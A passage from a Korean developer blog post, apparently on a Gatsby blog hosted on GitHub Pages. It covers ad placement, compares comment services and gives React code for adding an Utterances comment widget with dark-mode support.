&lt;h3&gt;광고 위치 전략&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;위치&lt;/th&gt;
&lt;th&gt;효과&lt;/th&gt;
&lt;th&gt;주의사항&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;포스팅 상단 (제목 아래)&lt;/td&gt;
&lt;td&gt;노출률 높음&lt;/td&gt;
&lt;td&gt;사용자 이탈 위험&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;포스팅 중간&lt;/td&gt;
&lt;td&gt;자연스러운 노출&lt;/td&gt;
&lt;td&gt;내용 흐름을 깨지 않도록 배치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;포스팅 하단 (본문 끝)&lt;/td&gt;
&lt;td&gt;글을 다 읽은 독자에게 노출&lt;/td&gt;
&lt;td&gt;가장 무난한 위치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;사이드바&lt;/td&gt;
&lt;td&gt;지속적 노출&lt;/td&gt;
&lt;td&gt;모바일에서는 안 보일 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;저는 포스팅 하단에 하나, 긴 글의 경우 중간에 하나 정도 배치하는 것을 추천합니다. 솔직히 광고를 너무 많이 넣으면 독자가 떠납니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;댓글 시스템 비교&lt;/h2&gt;
&lt;p&gt;GitHub Pages는 서버가 없는 정적 사이트이기 때문에, 자체적으로 댓글 기능을 구현할 수 없습니다. 외부 서비스를 활용해야 합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;서비스&lt;/th&gt;
&lt;th&gt;기반&lt;/th&gt;
&lt;th&gt;로그인 방식&lt;/th&gt;
&lt;th&gt;비용&lt;/th&gt;
&lt;th&gt;장점&lt;/th&gt;
&lt;th&gt;단점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Disqus&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;자체 플랫폼&lt;/td&gt;
&lt;td&gt;소셜 로그인&lt;/td&gt;
&lt;td&gt;무료 (광고 포함)&lt;/td&gt;
&lt;td&gt;설정 간편&lt;/td&gt;
&lt;td&gt;광고 삽입, 무거움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Utterances&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GitHub Issues&lt;/td&gt;
&lt;td&gt;GitHub 로그인&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;가볍고 깔끔&lt;/td&gt;
&lt;td&gt;GitHub 계정 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Giscus&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GitHub Discussions&lt;/td&gt;
&lt;td&gt;GitHub 로그인&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;스레드 지원, 리액션&lt;/td&gt;
&lt;td&gt;GitHub 계정 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;개발 블로그라면 &lt;strong&gt;Utterances&lt;/strong&gt; 또는 &lt;strong&gt;Giscus&lt;/strong&gt;를 추천합니다. 독자 대부분이 개발자이고 GitHub 계정을 가지고 있을 테니까요. 이번 글에서는 설정이 간단한 Utterances를 기준으로 설명하겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Utterances 설정하기&lt;/h2&gt;
&lt;p&gt;Utterances는 GitHub Issues를 댓글 저장소로 활용하는 오픈소스 위젯입니다. 누군가 댓글을 달면, 해당 포스팅에 대응하는 GitHub Issue가 자동으로 생성됩니다.&lt;/p&gt;
&lt;h3&gt;1단계: utterances 앱 설치&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/apps/utterances&quot;&gt;utterances 앱 페이지&lt;/a&gt;에 접속합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Install&lt;/strong&gt; 버튼을 클릭합니다&lt;/li&gt;
&lt;li&gt;블로그 레포지토리(예: &lt;code class=&quot;language-text&quot;&gt;javapark/javapark.github.io&lt;/code&gt;)를 선택합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Install&lt;/strong&gt; 을 확인합니다&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2단계: Utterances 컴포넌트 만들기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/Utterances.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; React&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; useEffect&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; useRef &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;react&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; Utterances &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; repo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; theme &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;github-light&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; containerRef &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useRef&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token function&quot;&gt;useEffect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;containerRef&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;current&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; script &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;script&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;src &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://utteranc.es/client.js&quot;&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;async &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;repo&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; repo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;issue-term&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;pathname&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;theme&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; theme&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;crossorigin&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;anonymous&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// 기존 스크립트가 있으면 제거&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; existingScript &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; containerRef&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;current&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;script&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;existingScript&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      existingScript&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    containerRef&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;current&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;script&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;repo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; theme&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;ref&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;containerRef&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; Utterances&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;3단계: 포스팅 템플릿에 삽입&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/templates/blog-post.js (또는 해당 템플릿 파일)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Utterances &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;../components/Utterances&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 본문 아래에 추가&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Utterances&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;javapark/javapark.github.io&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;theme&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;github-light&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Utterances 설정 옵션&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;옵션&lt;/th&gt;
&lt;th&gt;값&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;repo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;사용자명/레포명&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;댓글이 저장될 레포지토리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;issue-term&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;pathname&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Issue 매핑 기준 (URL 경로 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;issue-term&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;title&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Issue 매핑 기준 (포스팅 제목 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;theme&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;github-light&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;라이트 테마&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;theme&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;github-dark&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;다크 테마&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;theme&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;preferred-color-scheme&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OS 설정에 따라 자동 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;issue-term&lt;/code&gt;은 &lt;code class=&quot;language-text&quot;&gt;pathname&lt;/code&gt;을 추천합니다. URL이 바뀌지 않는 한 댓글이 유지되기 때문입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다크모드 대응 댓글 시스템&lt;/h2&gt;
&lt;p&gt;gatsby-starter-hoodie 테마는 다크모드를 지원합니다. 블로그가 다크모드로 전환되면 댓글 위젯도 함께 변해야 자연스럽습니다.&lt;/p&gt;
&lt;h3&gt;테마 상태에 따라 Utterances 테마 변경&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/Utterances.js (다크모드 대응 버전)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; React&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; useEffect&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; useRef&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; useContext &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;react&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; ThemeContext &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;../contexts/ThemeContext&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;Utterances&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; repo &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; containerRef &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useRef&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; isDarkMode &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useContext&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ThemeContext&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; theme &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; isDarkMode &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;github-dark&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;github-light&quot;&lt;/span&gt;

  &lt;span class=&quot;token function&quot;&gt;useEffect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;containerRef&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;current&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// 기존 iframe 제거&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; existingIframe &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; containerRef&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;current&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.utterances&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;existingIframe&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      existingIframe&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; script &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;script&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;src &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://utteranc.es/client.js&quot;&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;async &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;repo&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; repo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;issue-term&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;pathname&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;theme&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; theme&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    script&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;setAttribute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;crossorigin&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;anonymous&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    containerRef&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;current&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;script&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;repo&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; theme&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;ref&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;containerRef&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; Utterances&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;메시지 방식으로 테마 변경 (iframe 재생성 없이)&lt;/h3&gt;
&lt;p&gt;위 방법은 테마가 변경될 때마다 iframe을 다시 만들기 때문에 깜빡임이 발생합니다. &lt;code class=&quot;language-text&quot;&gt;postMessage&lt;/code&gt;를 활용하면 더 부드럽게 전환할 수 있습니다.&lt;/p&gt;
